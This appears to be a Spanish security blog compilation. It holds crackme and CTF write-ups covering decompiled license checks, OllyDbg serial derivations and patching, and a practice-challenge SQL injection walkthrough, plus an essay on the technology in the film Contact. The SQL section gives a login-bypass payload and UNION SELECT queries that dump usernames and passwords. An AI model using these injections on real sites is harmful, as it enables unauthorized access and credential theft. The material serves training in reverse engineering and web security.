Warning: This challenge is still active and therefore should not be resolved using this information. Aviso: Este reto sigue en activo y por lo tanto no se debería resolver utilizando esta información.
Intro
This crackme is for the crack challenge 6 of canyouhack.it.
In this crackme the goal is to turn on all the lights. Note that a light off to the next, so if we interrupt this, we win.
Tools
Exeinfo (For crackme info)
Delphi Decompiler (For decompile)
OllyDbg (For debug)
Decompiling
With Delphi Decompiler we can found easy the buttons and his offsets.
Go to the offset 401A64 in OllyDbg and analyze the code.
We view two jumps, one turn ON the light and the other Turn OFF the next light. Patching the call from offset 401A8B we get the serial.
Se nos entrega un ELF que decompilado presenta este aspecto:
/* This file was generated by the Hex-Rays decompiler version 8.4.0.240320.
Copyright (c) 2007-2021 Hex-Rays <info@hex-rays.com>
Detected compiler: GNU C++
*/
#include <defs.h>
//-------------------------------------------------------------------------
// Function declarations
__int64 (**init_proc())(void);
__int64 sub_401020();
__int64 sub_401030(); // weak
__int64 sub_401040(); // weak
__int64 sub_401050(); // weak
__int64 sub_401060(); // weak
__int64 sub_401070(); // weak
// int puts(const char *s);
// int printf(const char *format, ...);
// __int64 __isoc99_scanf(const char *, ...); weak
// void __noreturn exit(int status);
void __fastcall __noreturn start(__int64 a1, __int64 a2, void (*a3)(void));
void dl_relocate_static_pie();
char *deregister_tm_clones();
__int64 register_tm_clones();
char *_do_global_dtors_aux();
__int64 frame_dummy();
int __fastcall main(int argc, const char **argv, const char **envp);
_BYTE *__fastcall encode(__int64 a1);
__int64 __fastcall validar(const char *a1);
int banner();
int comprar();
void _libc_csu_fini(void); // idb
void term_proc();
// int __fastcall _libc_start_main(int (__fastcall *main)(int, char **, char **), int argc, char **ubp_av, void (*init)(void), void (*fini)(void), void (*rtld_fini)(void), void *stack_end);
// __int64 _gmon_start__(void); weak
//-------------------------------------------------------------------------
// Data declarations
_UNKNOWN _libc_csu_init;
const char a31mparaSeguirU[43] = "\x1B[31mPara seguir usando este producto deber"; // idb
const char a32myaPuedesSeg[61] = "\x1B[32mYa puedes seguir afinando tus instrumentos (y tus flags "; // idb
const char aDirigaseANuest[21] = "\nDirigase a nuestra p"; // idb
__int64 (__fastcall *_frame_dummy_init_array_entry)() = &frame_dummy; // weak
__int64 (__fastcall *_do_global_dtors_aux_fini_array_entry)() = &_do_global_dtors_aux; // weak
__int64 (*qword_404010)(void) = NULL; // weak
char _bss_start; // weak
//----- (0000000000401000) ----------------------------------------------------
__int64 (**init_proc())(void)
{
__int64 (**result)(void); // rax
result = &_gmon_start__;
if ( &_gmon_start__ )
return (__int64 (**)(void))_gmon_start__();
return result;
}
// 404090: using guessed type __int64 _gmon_start__(void);
//----- (0000000000401020) ----------------------------------------------------
__int64 sub_401020()
{
return qword_404010();
}
// 404010: using guessed type __int64 (*qword_404010)(void);
//----- (0000000000401030) ----------------------------------------------------
__int64 sub_401030()
{
return sub_401020();
}
// 401030: using guessed type __int64 sub_401030();
//----- (0000000000401040) ----------------------------------------------------
__int64 sub_401040()
{
return sub_401020();
}
// 401040: using guessed type __int64 sub_401040();
//----- (0000000000401050) ----------------------------------------------------
__int64 sub_401050()
{
return sub_401020();
}
// 401050: using guessed type __int64 sub_401050();
//----- (0000000000401060) ----------------------------------------------------
__int64 sub_401060()
{
return sub_401020();
}
// 401060: using guessed type __int64 sub_401060();
//----- (0000000000401070) ----------------------------------------------------
__int64 sub_401070()
{
return sub_401020();
}
// 401070: using guessed type __int64 sub_401070();
//----- (00000000004010D0) ----------------------------------------------------
// positive sp value has been detected, the output may be wrong!
void __fastcall __noreturn start(__int64 a1, __int64 a2, void (*a3)(void))
{
__int64 v3; // rax
int v4; // esi
__int64 v5; // [rsp-8h] [rbp-8h] BYREF
char *retaddr; // [rsp+0h] [rbp+0h] BYREF
v4 = v5;
v5 = v3;
_libc_start_main(
(int (__fastcall *)(int, char **, char **))main,
v4,
&retaddr,
(void (*)(void))_libc_csu_init,
_libc_csu_fini,
a3,
&v5);
__halt();
}
// 4010DA: positive sp value 8 has been found
// 4010E1: variable 'v3' is possibly undefined
//----- (0000000000401100) ----------------------------------------------------
void dl_relocate_static_pie()
{
;
}
//----- (0000000000401110) ----------------------------------------------------
char *deregister_tm_clones()
{
return &_bss_start;
}
// 404050: using guessed type char _bss_start;
//----- (0000000000401140) ----------------------------------------------------
__int64 register_tm_clones()
{
return 0LL;
}
//----- (0000000000401180) ----------------------------------------------------
char *_do_global_dtors_aux()
{
char *result; // rax
if ( !_bss_start )
{
result = deregister_tm_clones();
_bss_start = 1;
}
return result;
}
// 404050: using guessed type char _bss_start;
//----- (00000000004011B0) ----------------------------------------------------
__int64 frame_dummy()
{
return register_tm_clones();
}
//----- (00000000004011B6) ----------------------------------------------------
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+10h] [rbp-10h] BYREF
int v5; // [rsp+14h] [rbp-Ch]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
v5 = 0;
puts("\n\x1B[31m -----------Se le ha acabado el periodo de prueba gratuito-----------\n");
puts(a31mparaSeguirU);
do
{
banner();
__isoc99_scanf("%d", &v4);
if ( v4 == 3 )
exit(0);
if ( v4 > 3 )
goto LABEL_10;
if ( v4 == 1 )
{
comprar();
continue;
}
if ( v4 == 2 )
v5 = validar("%d");
else
LABEL_10:
puts("Opcion invalida, pruebe otra vez");
}
while ( !v5 );
puts(a32myaPuedesSeg);
return 0;
}
// 4010B0: using guessed type __int64 __isoc99_scanf(const char *, ...);
//----- (0000000000401291) ----------------------------------------------------
_BYTE *__fastcall encode(__int64 a1)
{
_BYTE *result; // rax
int i; // [rsp+14h] [rbp-4h]
for ( i = 0; i <= 33; ++i )
{
if ( *(char *)(i + a1) <= 96 || *(char *)(i + a1) > 122 )
{
if ( *(char *)(i + a1) <= 64 || *(char *)(i + a1) > 90 )
{
result = (_BYTE *)*(unsigned __int8 *)(i + a1);
*(_BYTE *)(i + a1) = (_BYTE)result;
}
else
{
result = (_BYTE *)(i + a1);
*result = (5 * ((char)*result - 65) + 8) % 26 + 65;
}
}
else
{
result = (_BYTE *)(i + a1);
*result = (5 * ((char)*result - 97) + 8) % 26 + 97;
}
}
return result;
}
//----- (00000000004013DB) ----------------------------------------------------
__int64 __fastcall validar(const char *a1)
{
int i; // [rsp+Ch] [rbp-64h]
char v3[48]; // [rsp+10h] [rbp-60h] BYREF
__int64 v4[6]; // [rsp+40h] [rbp-30h] BYREF
v4[5] = __readfsqword(0x28u);
qmemcpy(v4, "RisgAv{rIU_ihHwvIxA_sAppCsziq3vzC}", 34);
printf("\nIntroduce tu licencia: ");
__isoc99_scanf("%s", v3);
encode((__int64)v3);
for ( i = 0; i <= 33; ++i )
{
if ( v3[i] != *((_BYTE *)v4 + i) )
{
puts("\n\x1B[31mTu licencia es incorrecta\x1B[37m\n");
return 0LL;
}
}
puts("\n\x1B[32mEres un crack, lo conseguiste\x1B[37m");
return 1LL;
}
// 4010B0: using guessed type __int64 __isoc99_scanf(const char *, ...);
// 4013DB: using guessed type char var_60[48];
//----- (00000000004014CE) ----------------------------------------------------
int banner()
{
puts(" ___________OPCIONES___________");
puts(" | 1: Comprar licencia premium |");
puts(" | 2: Validar clave de licencia |");
puts(" | 3: Salir |");
puts(" ------------------------------");
return printf("> ");
}
//----- (0000000000401526) ----------------------------------------------------
int comprar()
{
return puts(aDirigaseANuest);
}
//----- (0000000000401540) ----------------------------------------------------
void __fastcall _libc_csu_init(unsigned int a1, __int64 a2, __int64 a3)
{
signed __int64 v3; // rbp
__int64 i; // rbx
init_proc();
v3 = &_do_global_dtors_aux_fini_array_entry - &_frame_dummy_init_array_entry;
if ( v3 )
{
for ( i = 0LL; i != v3; ++i )
(*(&_frame_dummy_init_array_entry + i))();
}
}
// 403E10: using guessed type __int64 (__fastcall *_frame_dummy_init_array_entry)();
// 403E18: using guessed type __int64 (__fastcall *_do_global_dtors_aux_fini_array_entry)();
//----- (00000000004015B0) ----------------------------------------------------
void _libc_csu_fini(void)
{
;
}
//----- (00000000004015B8) ----------------------------------------------------
void term_proc()
{
;
}
// nfuncs=33 queued=21 decompiled=21 lumina nreq=0 worse=0 better=0
// ALL OK, 21 function(s) have been successfully decompiled
Para resolver el juego y obtener una licencia válida, nos fijamos en el proceso de validación que se encuentra en la función validar (líneas 237 a 258). Esta función compara una entrada de licencia codificada con una licencia codificada almacenada en el programa.
La licencia almacenada es "RisgAv{rIU_ihHwvIxA_sAppCsziq3vzC}", y se utiliza la función encode (líneas 207 a 234) para codificar la entrada del usuario antes de compararla. La función encode aplica un cifrado simple a la entrada, alterando los caracteres alfabéticos según una fórmula específica.
La función de cifrado encode realiza lo siguiente:
Si el carácter es una letra minúscula (a-z), se convierte según la fórmula (5 * (char - 97) + 8) % 26 + 97.
Si el carácter es una letra mayúscula (A-Z), se convierte según la fórmula (5 * (char - 65) + 8) % 26 + 65.
Nos construimos una función en Python para decodificar la Flag y reto superado.
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Este reto consiste en lo siguiente, tenemos un formulario de Login standar que podemos pasar fácilmente y seguido han implementado una pregunta de seguridad adicional para cada usuario. El login lo muestro en la imágen inferior y lo pasamos con una inyección clásica.
Username: admin
Password: ‘or ‘1’=’1
Seguido tenemos la pregunta de seguridad.
Introducimos cualquier cosa y nos muestra el siguiente error.
El error nombra la tabla «security«, luego la usaremos.
Intentamos sin éxito inyectar en la pregunta de seguridad, de modo que nos centraremos en el login.
Inyección SQL Avanzada
Para inyectar a continuación meter cualquier nombre y la inyección en el password.
Sacando el nombre de la base de datos
SQLI: ' OR EXISTS(SELECT * FROM users WHERE name='admin' AND password LIKE '%w%') AND ''='
Response: Table 'thisi30_chal.users' doesn't exist
Sacando la versión de MySQL
SQLI: 0' UNION SELECT @@version,null'
Response: 5.5.36-cll
Nombre de la tabla
SQLI: 0' UNION SELECT table_name,null FROM information_schema.tables WHERE version = '10
Response: userdb
Todas las columnas de la tabla security
SQLI: 0' UNION SELECT group_concat(column_name),null FROM information_schema.columns WHERE table_name = 'security
Response: ID,name,secquestion,answer
Todas las columnas de userdb
SQLI: 0' UNION SELECT group_concat(column_name),null FROM information_schema.columns WHERE table_name = 'userdb
Response: id,name,password
Ya tenemos las dos tablas que nos interesan con las columnas correspondintes, ahora vamos a por lo que hemos venido a buscar.
Obtener ID, name, password para los usuarios con ID = 1,2,3,4…
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '1
Response: 1:admin:fr0gger
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '2
Response: 2:jack:simple123
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '3
Response: 3:cr0pt:cr0p111
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '4
Response: 4:us3r:a1b2c3
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '5
Response: ERROR, there are only 4 users
Obtener ID, name, secquestion, answer para los usuarios con ID = 1,2,3,4…
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '1
Response: 1:admin:mothers maiden name:*******
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '2
Response: 2:jack:birthplace:*****
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '3
Response: 3:cr0pt:querty:****
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '4
Response: 4:us3r:favourite food:***
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '5
Response: ERROR, there are only 4 users
Aunque aquí se muestra el resumen final, hasta dar con la solución correcta tuve que probar hasta 20 inyecciones diferentes. Mi consejo es que leáis todos los manuales que podáis hasta entender correctamente a que os enfrentais ya que por ejemplo, con este reto se puede aprender perfectamente como funciona una inyección SQL más compleja.
Continuamos con la segunda entrega de Cruehead. En este caso nos encontramos con un único campo de contraseña para introducir.
El algoritmo
Abrimos con Olly y vemos dos saltos. El primer Call realiza una serie de operaciones con el serial introducido y el segundo comprueba si el serial es correcto.
A continuación llegamos aquí:
00401365 /$ C605 18214000 00 MOV BYTE PTR DS:[402118],0
0040136C |. 8B7424 04 MOV ESI,DWORD PTR SS:[ESP+4]
00401370 |. 56 PUSH ESI
00401371 |> 8A06 /MOV AL,BYTE PTR DS:[ESI] ; <---
00401373 |. 84C0 |TEST AL,AL
00401375 |. 74 19 |JE SHORT CRACKME2.00401390
00401377 |. FE05 18214000 |INC BYTE PTR DS:[402118]
0040137D |. 3C 41 |CMP AL,41 ; 41 = A
0040137F |. 72 04 |JB SHORT CRACKME2.00401385 ; ya es mayúscula
00401381 |. 3C 5A |CMP AL,5A ; 5A = Z
00401383 |. 73 03 |JNB SHORT CRACKME2.00401388 ; Convertir a mayúscula
00401385 |> 46 |INC ESI
00401386 |.^ EB E9 |JMP SHORT CRACKME2.00401371 ; Bucle -->
00401388 |> E8 25000000 |CALL CRACKME2.004013B2
0040138D |. 46 |INC ESI
0040138E |.^ EB E1 \JMP SHORT CRACKME2.00401371
00401390 |> 5E POP ESI
00401391 |. E8 03000000 CALL CRACKME2.00401399 ;Convertido a mayúsculas continuamos
00401396 |. EB 00 JMP SHORT CRACKME2.00401398
00401398 \> C3 RETN
Si nuestro serial contiene solo letras, las convierte a mayúsculas y seguimos aquí. En resumen hace XOR byte a byte entre nuestro serial y la frase «Messing_in_bytes»
00401399 /$ 33DB XOR EBX,EBX
0040139B |. 33FF XOR EDI,EDI
0040139D |> 8A8F A3214000 /MOV CL,BYTE PTR DS:[EDI+4021A3] ; Carga el primer byte de 4021A3
004013A3 |. 8A1E |MOV BL,BYTE PTR DS:[ESI] ;
004013A5 |. 84DB |TEST BL,BL
004013A7 |. 74 08 |JE SHORT CRACKME2.004013B1
004013A9 |. 32D9 |XOR BL,CL ; byteSerial XOR Byte"Messing_in..."
004013AB |. 881E |MOV BYTE PTR DS:[ESI],BL
004013AD |. 46 |INC ESI ;Siguiente byte de "Messing_in_bytes"
004013AE |. 47 |INC EDI ;Siguiente byte del serial
004013AF |.^ EB EC \JMP SHORT CRACKME2.0040139D
004013B1 \> C3 RETN ;XOR finalizado volvemos
Estado del DUMP (memoria) antes del XOR y con nuestro serial (12345678) cargado.
Si buscamos el comando REPE encontramos que si el flag Z = 1 el bucle se corta y que trabaja con bytes. El problema es que en Olly la instrucción REPE nosotros la vemos con un solo paso y nos puede pasar desapercibida.
En resumen, está comprobando los bytes de las direcciones 402150 (1F 2C 37 36 3B 3D 28 19 3D 26 1A 31 2D 3B 37 3E) con nuestro serial XOReado, 40217E en adelante, por lo que si hacemos XOR entre los bytes de 402150 y la frase «Messing_in_bytes» obtendremos la clave correcta.
M e s s i n g _ i n _ b y t e s
4D 65 73 73 69 6E 67 5F 69 6E 5F 62 79 74 65 73
XOR
1F 2C 37 36 3B 3D 28 19 3D 26 1A 31 2D 3B 37 3E
-----------------------------------------------
52 49 44 45 52 53 4F 46 54 48 45 53 54 4F 52 4D
R I D E R S O F T H E S T O R M
Serial: RIDERSOFTHESTORM
La película «Contact«, estrenada en 1997 y dirigida por Robert Zemeckis, es una adaptación de la novela homónima de Carl Sagan. Más allá de su profunda exploración sobre la existencia de vida extraterrestre y el debate entre ciencia y fe, la película ofrece un interesante vistazo a la tecnología de la época. En este análisis, nos enfocaremos en los aspectos tecnológicos presentes en la película, detallando los sistemas operativos, software y hardware utilizados por los protagonistas.
Sinopsis
La Dra. Eleanor «Ellie» Arroway, interpretada por Jodie Foster, es una científica dedicada al proyecto SETI (Búsqueda de Inteligencia Extraterrestre). Tras años de búsqueda, capta una señal proveniente del espacio profundo que contiene instrucciones para construir una máquina enigmática. A medida que se desarrolla la trama, Ellie enfrenta desafíos políticos, religiosos y personales mientras lucha por interpretar el mensaje y lo que podría significar para la humanidad.
Análisis Tecnológico
Sistemas Operativos y Software
Uno de los aspectos más destacados en Contact es la presencia del sistema operativo UNIX. A lo largo de la película, se observan pistas que indican su uso, como pegatinas en las pantallas con mensajes del estilo: «Join the UNIX PARTY (The open system platform)». UNIX, desarrollado en la década de 1970, es conocido por su estabilidad y eficiencia, características esenciales en entornos científicos y de investigación.
La utilización de Netscape Navigator es recurrente. El logo de Netscape aparece en varias ocasiones, especialmente durante las videoconferencias que se muestran sin retrasos apreciables. Netscape fue uno de los primeros navegadores web ampliamente utilizados y jugó un papel crucial en la expansión de Internet durante los años 90.
Es importante destacar que, aunque la película promueve la idea de sistemas abiertos a través del uso de UNIX, Netscape Navigator no era software libre en el momento en que se rodó la película. Durante esa época, antes de 1997, Netscape era un navegador propietario. Sin embargo, en sistemas UNIX, Netscape tenía poca competencia y era el navegador predominante, soportando estándares abiertos como HTTP y HTML. Curiosamente, en 1998, poco después del estreno de la película, Netscape liberó el código fuente de su navegador, iniciando el proyecto Mozilla y contribuyendo significativamente al movimiento del software libre.
El software o plataforma denominada MADDEN HADDEN es utilizado por los protagonistas en diversas localizaciones, sugiriendo que es un estándar en su campo. Aunque en la realidad no existe un software conocido con ese nombre en el ámbito científico, en la película parece ser una herramienta integral para el análisis de datos y comunicación.
Videoconferencias y Comunicaciones
Las videoconferencias sin «lags» (retrasos) que se muestran en la película son notables, especialmente considerando las limitaciones tecnológicas de la época. La presencia del logo de Netscape durante estas comunicaciones resalta el optimismo sobre las capacidades de Internet en 1997. En ese entonces, las conexiones de alta velocidad no eran comunes, y las videollamadas de calidad eran más una aspiración que una realidad.
Estándares y Sistemas Abiertos
La promoción de sistemas abiertos es evidente en la película. El uso de UNIX, basado en estándares abiertos, refleja una filosofía de colaboración y accesibilidad en el ámbito científico. Aunque Netscape Navigator no era software libre durante la producción de la película, su soporte para estándares abiertos de Internet lo convirtió en una herramienta esencial para la comunicación y el intercambio de información entre científicos y profesionales.
Hardware
En términos de hardware, la película presenta una variedad de equipos representativos de la tecnología de los años 90:
Monitor NEC MultiSync XE21: Un monitor CRT de 21 pulgadas conocido por su alta resolución y calidad de imagen, ideal para aplicaciones que requieren detalles precisos.
Monitores con marcas ocultas: Es interesante notar que en varios monitores se utilizan post-its o adhesivos para cubrir la marca y el modelo. Esto podría deberse a decisiones de producción para evitar publicidad no deseada o cuestiones legales relacionadas con derechos de marca.
Monitor CTX: Aunque no se especifica el modelo, los monitores CTX eran populares por su fiabilidad y rendimiento a un costo razonable.
Monitor Hansol Mazellan 17px: Los monitores Hansol eran reconocidos por su calidad en la reproducción de gráficos, siendo utilizados en diseño y aplicaciones multimedia.
Monitor IBM: IBM fue pionera en tecnología informática, y sus monitores eran sinónimo de calidad y durabilidad. Aunque no se especifica el modelo exacto, es probable que se trate de uno de sus populares monitores CRT utilizados en entornos profesionales.
Evolución de UNIX y Windows
Para entender el contexto tecnológico de la época, es útil comparar la evolución de UNIX y Windows, así como de los navegadores Netscape Navigator e Internet Explorer.
Detalles Adicionales
Cobertura de marcas: La práctica de cubrir las marcas y modelos en los monitores podría indicar un intento de la producción por crear un entorno más universal y atemporal, evitando asociar la tecnología presentada con productos específicos que podrían quedar obsoletos rápidamente. En bastantes fotogramas se nota que esto es completamente intencionado.
Representación de la tecnología: La película equilibra la precisión técnica con las necesidades narrativas. Si bien algunas representaciones, como las videoconferencias fluidas, eran tecnológicamente avanzadas para la época, sirven para enfatizar la conectividad y colaboración global entre los científicos.
SETI y la Búsqueda de Vida Extraterrestre: En Contact, la Dra. Ellie Arroway dedica su vida al proyecto SETI (Search for Extraterrestrial Intelligence), reflejando el esfuerzo real de la comunidad científica por encontrar señales de inteligencia extraterrestre. SETI es una iniciativa internacional que utiliza radiotelescopios para detectar posibles comunicaciones de civilizaciones fuera de la Tierra. La película captura la pasión y los desafíos asociados con este tipo de investigación, destacando la dedicación de los científicos que trabajan en el límite de lo conocido.
El Mensaje de Arecibo: El radiotelescopio de Arecibo en Puerto Rico juega un papel significativo tanto en la realidad como en la película. En 1974, desde este observatorio, se envió el famoso Mensaje de Arecibo, una transmisión de radio dirigida al cúmulo estelar M13, diseñada para demostrar los avances tecnológicos humanos y nuestra existencia a posibles civilizaciones extraterrestres. El mensaje contenía información codificada sobre la composición humana, nuestro sistema numérico, la estructura del ADN y nuestra posición en el sistema solar. En «Contact», aunque la señal recibida por Ellie proviene de Vega y no está directamente relacionada con el Mensaje de Arecibo, la película establece paralelismos con este acontecimiento histórico. La utilización de Arecibo como escenario subraya la conexión entre los esfuerzos reales y ficticios en la búsqueda de inteligencia extraterrestre. La película explora la posibilidad de que, así como enviamos mensajes al espacio, podríamos recibir respuestas o comunicaciones de otras civilizaciones.
Matthew McConaughey: Es interesante notar cómo este actor ha participado en dos de las películas más destacadas de la ciencia ficción: Contact e Interstellar. En Contact, McConaughey interpreta un papel secundario como Palmer Joss, un escritor y asesor espiritual que cuestiona las implicaciones éticas y filosóficas del descubrimiento científico. Diecisiete años después, en Interstellar, asume el rol protagonista de Cooper, un ex piloto de la NASA que emprende una misión interestelar para salvar a la humanidad.
Números primos: El inicio de la investigación seria de la señal extraterrestre en la película se desencadena cuando, al analizar la señal recibida, los científicos descubren que esta codifica una secuencia de números primos. Este hallazgo resulta crucial, ya que los números primos, al ser divisibles únicamente por 1 y por sí mismos, no surgen de forma aleatoria en procesos naturales conocidos. Su presencia en la señal sugiere intencionalidad e inteligencia detrás de su emisión, lo que confirma que no se trata de ruido cósmico sino de una posible comunicación deliberada desde una civilización avanzada. Este descubrimiento impulsa a los científicos a profundizar en la decodificación, marcando el verdadero inicio de la búsqueda de vida extraterrestre.
Conclusión
Contact no solo es una obra que invita a reflexionar sobre nuestro lugar en el universo y la posibilidad de vida más allá de la Tierra, sino que también es un retrato de la tecnología de su tiempo. La inclusión de sistemas operativos como UNIX, navegadores como Netscape y hardware específico refleja una atención al detalle que enriquece la narrativa. A pesar de que Netscape Navigatorno era software libre durante la producción de la película, su presencia destaca la importancia de los estándares abiertos y la colaboración en el avance científico.
También destaca por su compromiso con la precisión científica, en gran parte debido a la influencia de Carl Sagan, autor de la novela original y asesor en la producción. La representación de los procedimientos del SETI, el análisis de señales y las discusiones éticas y filosóficas reflejan debates reales en la comunidad científica. La inclusión de elementos como el Mensaje de Arecibo y las operaciones del radiotelescopio añaden autenticidad a la narrativa y acercan al público a la realidad de la exploración espacial.
Aquí tenemos un Crackme clásico creado por Scarebyte hallá por el año 2000 y que cuenta con varias fases siendo un crackme muy interesante para iniciarse o simplemente para divertirse. Al estar realizado en Delphi, los apartados de las checkboxes y de las trackbars se simplifican y mucho, pero aún así hay que currarselo un poco para dejar todo bien atado. Si os fijáis en las soluciones que aparecen en crackmes.de, en aquellos años se usaba DEDE y aunque yo usaré otra herramienta, DEDE sigue siendo igual de útil.
Desempacado
PEiD nos dice que nos enfrentamos a ASPack 1.08.03 -> Alexey Solodovnikov, así que vamos al lío.
Eliminar la NAG
Tan sencillo como poner un Breakpoint a User32.MessageBoxA. La llamada a NOPear está en la dirección 441CF2.
Password
Desde las string references localizamos los mensajes de chico bueno y chico malo que nos llevan al código a analizar.
0044C3CD |. E8 5294FDFF CALL CrackMe_.00425824
0044C3D2 |. 8B45 FC MOV EAX,[LOCAL.1]
0044C3D5 |. E8 9A76FBFF CALL CrackMe_.00403A74
0044C3DA |. 83F8 0C CMP EAX,0C ; Lengh C = 12
0044C3DD |. 0F85 53010000 JNZ CrackMe_.0044C536 ; Salto a chico malo
0044C3E3 |. 8D55 FC LEA EDX,[LOCAL.1]
0044C3E6 |. 8B83 E8020000 MOV EAX,DWORD PTR DS:[EBX+2E8]
0044C3EC |. E8 3394FDFF CALL CrackMe_.00425824
0044C3F1 |. 8B45 FC MOV EAX,[LOCAL.1]
0044C3F4 |. 8038 43 CMP BYTE PTR DS:[EAX],43 ; 1º dígito serial = C
0044C3F7 |. 0F85 27010000 JNZ CrackMe_.0044C524 ; Salto a chico malo
0044C3FD |. 8D55 F8 LEA EDX,[LOCAL.2]
0044C400 |. 8B83 E8020000 MOV EAX,DWORD PTR DS:[EBX+2E8]
0044C406 |. E8 1994FDFF CALL CrackMe_.00425824
0044C40B |. 8B45 F8 MOV EAX,[LOCAL.2]
0044C40E |. 8078 03 6F CMP BYTE PTR DS:[EAX+3],6F ; 4º dígito serial = o
0044C412 |. 0F85 0C010000 JNZ CrackMe_.0044C524 ; Salto a chico malo
0044C418 |. 8D55 F4 LEA EDX,[LOCAL.3]
0044C41B |. 8B83 E8020000 MOV EAX,DWORD PTR DS:[EBX+2E8]
0044C421 |. E8 FE93FDFF CALL CrackMe_.00425824
0044C426 |. 8B45 F4 MOV EAX,[LOCAL.3]
0044C429 |. 8078 08 6F CMP BYTE PTR DS:[EAX+8],6F ; 9º dígito serial = o
0044C42D |. 0F85 F1000000 JNZ CrackMe_.0044C524 ; Salto a chico malo
0044C433 |. 8D55 F0 LEA EDX,[LOCAL.4]
0044C436 |. 8B83 E8020000 MOV EAX,DWORD PTR DS:[EBX+2E8]
0044C43C |. E8 E393FDFF CALL CrackMe_.00425824
0044C441 |. 8B45 F0 MOV EAX,[LOCAL.4]
0044C444 |. 8078 01 6C CMP BYTE PTR DS:[EAX+1],6C ; 2º dígito serial = l
0044C448 |. 0F85 D6000000 JNZ CrackMe_.0044C524 ; Salto a chico malo
0044C44E |. 8D55 EC LEA EDX,[LOCAL.5]
0044C451 |. 8B83 E8020000 MOV EAX,DWORD PTR DS:[EBX+2E8]
0044C457 |. E8 C893FDFF CALL CrackMe_.00425824
0044C45C |. 8B45 EC MOV EAX,[LOCAL.5]
0044C45F |. 8078 04 20 CMP BYTE PTR DS:[EAX+4],20 ; 5º dígito serial = espacio
0044C463 |. 0F85 BB000000 JNZ CrackMe_.0044C524 ; Salto a chico malo
0044C469 |. 8D55 E8 LEA EDX,[LOCAL.6]
0044C46C |. 8B83 E8020000 MOV EAX,DWORD PTR DS:[EBX+2E8]
0044C472 |. E8 AD93FDFF CALL CrackMe_.00425824
0044C477 |. 8B45 E8 MOV EAX,[LOCAL.6]
0044C47A |. 8078 0A 52 CMP BYTE PTR DS:[EAX+A],52 ; 11º dígito serial = R
0044C47E |. 0F85 A0000000 JNZ CrackMe_.0044C524 ; Salto a chico malo
0044C484 |. 8D55 E4 LEA EDX,[LOCAL.7]
0044C487 |. 8B83 E8020000 MOV EAX,DWORD PTR DS:[EBX+2E8]
0044C48D |. E8 9293FDFF CALL CrackMe_.00425824
0044C492 |. 8B45 E4 MOV EAX,[LOCAL.7]
0044C495 |. 8078 07 75 CMP BYTE PTR DS:[EAX+7],75 ; 8º dígito serial = u
0044C499 |. 0F85 85000000 JNZ CrackMe_.0044C524 ; Salto a chico malo
0044C49F |. 8D55 E0 LEA EDX,[LOCAL.8]
0044C4A2 |. 8B83 E8020000 MOV EAX,DWORD PTR DS:[EBX+2E8]
0044C4A8 |. E8 7793FDFF CALL CrackMe_.00425824
0044C4AD |. 8B45 E0 MOV EAX,[LOCAL.8]
0044C4B0 |. 8078 09 6E CMP BYTE PTR DS:[EAX+9],6E ; 10º dígito serial = n
0044C4B4 |. 75 6E JNZ SHORT CrackMe_.0044C524 ; Salto a chico malo
0044C4B6 |. 8D55 DC LEA EDX,[LOCAL.9]
0044C4B9 |. 8B83 E8020000 MOV EAX,DWORD PTR DS:[EBX+2E8]
0044C4BF |. E8 6093FDFF CALL CrackMe_.00425824
0044C4C4 |. 8B45 DC MOV EAX,[LOCAL.9]
0044C4C7 |. 8078 02 6E CMP BYTE PTR DS:[EAX+2],6E ; 3º dígito serial = n
0044C4CB |. 75 57 JNZ SHORT CrackMe_.0044C524 ; Salto a chico malo
0044C4CD |. 8D55 D8 LEA EDX,[LOCAL.10]
0044C4D0 |. 8B83 E8020000 MOV EAX,DWORD PTR DS:[EBX+2E8]
0044C4D6 |. E8 4993FDFF CALL CrackMe_.00425824
0044C4DB |. 8B45 D8 MOV EAX,[LOCAL.10]
0044C4DE |. 8078 05 69 CMP BYTE PTR DS:[EAX+5],69 ; 6º dígito serial = i
0044C4E2 |. 75 40 JNZ SHORT CrackMe_.0044C524 ; Salto a chico malo
0044C4E4 |. 8D55 D4 LEA EDX,[LOCAL.11]
0044C4E7 |. 8B83 E8020000 MOV EAX,DWORD PTR DS:[EBX+2E8]
0044C4ED |. E8 3293FDFF CALL CrackMe_.00425824
0044C4F2 |. 8B45 D4 MOV EAX,[LOCAL.11]
0044C4F5 |. 8078 0B 6E CMP BYTE PTR DS:[EAX+B],6E ; 12º dígito serial = n
0044C4F9 |. 75 29 JNZ SHORT CrackMe_.0044C524 ; Salto a chico malo
0044C4FB |. 8D55 D0 LEA EDX,[LOCAL.12]
0044C4FE |. 8B83 E8020000 MOV EAX,DWORD PTR DS:[EBX+2E8]
0044C504 |. E8 1B93FDFF CALL CrackMe_.00425824
0044C509 |. 8B45 D0 MOV EAX,[LOCAL.12]
0044C50C |. 8078 06 67 CMP BYTE PTR DS:[EAX+6],67 ; 7º dígito serial = g
0044C510 |. 75 12 JNZ SHORT CrackMe_.0044C524 ; Salto a chico malo
0044C512 |. BA 78C54400 MOV EDX,CrackMe_.0044C578 ; ASCII "Right Password"
0044C517 |. 8B83 E8020000 MOV EAX,DWORD PTR DS:[EBX+2E8]
0044C51D |. E8 3293FDFF CALL CrackMe_.00425854
0044C522 |. EB 22 JMP SHORT CrackMe_.0044C546
0044C524 |> BA 90C54400 MOV EDX,CrackMe_.0044C590 ; ASCII "Wrong Password"
0044C529 |. 8B83 E8020000 MOV EAX,DWORD PTR DS:[EBX+2E8]
0044C52F |. E8 2093FDFF CALL CrackMe_.00425854
